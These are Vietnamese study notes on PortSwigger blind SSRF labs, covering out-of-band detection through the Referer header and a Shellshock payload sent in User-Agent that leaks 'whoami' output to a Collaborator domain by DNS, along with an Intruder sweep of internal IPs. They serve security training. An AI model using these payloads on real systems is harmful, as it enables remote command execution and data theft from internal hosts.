What is Blind SSRF?

Xảy ra khi ứng dụng có thể gửi back-end request dựa trên URL mà người dùng cung cấp nhưng không trả về response cho front-end của ứng dụng.

What is the Impact of Blind SSRF Vulnerabilities?

Do không thể truy xuất dữ liệu nhạy cảm từ back-end, nó ít gây thiệt hại hơn so với lỗ hổng SSRF thông thường. Mặc dù vậy, trong một số trường hợp, attacker có thể khai thác lỗ hổng SSRF để thực hiện RCE.

How to Find and Exploit Blind SSRF Vulnerabilities

Để phát hiện lỗ hổng blind SSRF, có thể sử dụng các kỹ thuật out-of-band (OAST) chẳng hạn như trigger các HTTP request đến các hệ thống bên ngoài mà ta kiểm soát.

Tuy nhiên, việc phát hiện ra lỗ hổng blind SSRF mà có thể trigger các out-of-band request không đồng nghĩa với việc ứng dụng có thể bị khai thác do chúng ta không thể xem được response của các back-end request. Tuy nhiên, nó có thể được dùng để phát hiện các lỗ hổng khác trên server hoặc các hệ thống back-end trong mạng nội bộ.

Lab: Blind SSRF with Out-of-band Detection

Mô tả lab:

  • Có một phần mềm phân tích dữ liệu gửi request đến URL được cung cấp ở trong header Referer sau khi một sản phẩm được load.
  • Mục tiêu là gây ra HTTP request đến server của Collaborator.

Request xem chi tiết thông tin sản phẩm sau khi truy cập trang chủ:

GET /product?productId=1 HTTP/2
Host: 0a06002304136a41808c9e2200ed0063.web-security-academy.net
Cookie: session=uzIW0yRYTSi5HCBmn6N983FVyH2kreju
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a06002304136a41808c9e2200ed0063.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i

Sửa header Referer lại thành server của Collaborator:

GET /product?productId=1 HTTP/2
Host: 0a06002304136a41808c9e2200ed0063.web-security-academy.net
Cookie: session=ILmLGk71O6osz3d6MnDoy0DaB7F4ElQV
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://479mw3v4ytzxdr2exdnnhu3k5bb2zvnk.oastify.com
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i

Gửi request thì ta thấy một vài DNS lookup và HTTP request gửi đến Collaborator.

Lab: Blind SSRF with Shellshock Exploitation

Mô tả lab:

  • Có một phần mềm phân tích dữ liệu gửi request đến URL được cung cấp ở trong header Referer sau khi một sản phẩm được load.
  • Mục tiêu là truy xuất tên người dùng của một server nội bộ có IP trong khoảng 192.168.0.X và port là 8080 sử dụng Shellshock payload.

Tip

Có thể sử dụng extension “Collaborator Everywhere” để phát hiện lỗ hổng SSRF ở trong các header.

Thử thay đổi giá trị của header Referer thành URL của Collaborator:

GET /product?productId=1 HTTP/2
Host: 0a4500c9041dcd8b80c2f8fa001600ad.web-security-academy.net
Cookie: session=SoPKD67cWRwgokMupdhoqr33anzonw5U
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://wvvekvjwmlnp1jq6l5bf5mrct3zunmfa4.oastify.com
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i

Request gửi đến Collaborator:

GET / HTTP/1.1
Host: wvvekvjwmlnp1jq6l5bf5mrct3zunmfa4.oastify.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0
Accept-Encoding: gzip

Request có header User-Agent cho biết nó có thể được lưu ở trong web server dưới dạng biến môi trường và được gửi đến URL ở trong Referer.

Xây dựng Shellshock payload truyền vào header User-Agent như sau:

() { :; }; /usr/bin/nslookup $(whoami).BURP_COLLABORATOR_SUBDOMAIN

Giải thích payload trên:

  • () { :; }; là chuỗi giúp triển khai Shellshock attack.
  • /usr/bin/nslookup giúp thực hiện DNS query.
  • $(whoami).BURP_COLLABORATOR_SUBDOMAIN: nội suy giá trị của tên người dùng và dùng nó như là subdomain của BURP_COLLABORATOR_SUBDOMAIN.

Note

Cần thực thi payload trên ở một server nội bộ chứ không phải ứng dụng có lỗ hổng SSRF.

Để chuyển tiếp giá trị của User-Agent cho server nội bộ, ta sẽ khai thác lỗ hổng SSRF của ứng dụng thông qua header Referer. Cụ thể, giá trị của header Referer sẽ là địa chỉ địa chỉ IP và port của server nội bộ.

Sử dụng Intruder để lặp qua khoảng IP 192.168.0.X:

GET /product?productId=1 HTTP/2
Host: 0a4500c9041dcd8b80c2f8fa001600ad.web-security-academy.net
Cookie: session=SoPKD67cWRwgokMupdhoqr33anzonw5U
Sec-Ch-Ua: "Chromium";v="124", "Microsoft Edge";v="124", "Not-A.Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).m2p4rlqmtbuf89xwsvi5ccy20t6kuct0i.oastify.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://192.168.0.§§:8080
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
Priority: u=0, i

Payload sử dụng có kiểu là “Numbers” và chạy từ 0 đến 255.

Có một DNS query gửi đến Collaborator như sau:

The Collaborator server received a DNS lookup of type A for the domain name peter-210ohh.pib77o6p9eaiocdz8yy8sfe5gwmnafb30.oastify.com.
The lookup was received from IP address 3.248.180.90:56381 at 2024-Apr-21 10:58:24.799 UTC.

Tên người dùng nằm trong phần subdomain: peter-210ohh.

list
from outgoing([[Port Swigger -  Blind SSRF]])
sort file.ctime asc

Resources